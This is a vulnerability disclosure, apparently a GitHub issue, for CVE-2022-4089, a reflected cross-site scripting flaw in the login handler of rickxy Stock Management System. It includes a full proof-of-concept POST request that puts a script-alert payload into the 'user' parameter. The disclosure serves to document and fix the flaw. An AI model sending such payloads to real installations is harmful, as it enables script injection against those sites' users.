Headline
CVE-2022-4089: Reflective XSS vulnerability in Stock Management System · Issue #3 · rickxy/Stock-Management-System
A vulnerability was found in rickxy Stock Management System. It has been declared as problematic. This vulnerability affects unknown code of the file /pages/processlogin.php. The manipulation of the argument user leads to cross site scripting. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-214324.
Reflective XSS vulnerability in Stock Management System
In processlogin PHP, in lines 18-25 of the code, the parameters entered by the front end are brought into the database for associated table query, and then the results of database execution are returned. After the 27th line of code, judge the results of database execution, and return the output results to the front end, which is shown in the interface. Payload is 1 '<script>alert (1)</script>, that is, after the statement is closed, return it to the front end, and output it on the front end, causing XSS vulnerabilities.
Proof of vulnerability utilization:
POC:
POST /pages/processlogin.php HTTP/1.1
Host: vulscms.test
Content-Length: 54
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://vulscms.test
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://vulscms.test/pages/login.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=roq9qu2s58ta48gg165qqke6l9
Connection: close
user=1' <script>alert(1)</script>&password=1&btnlogin=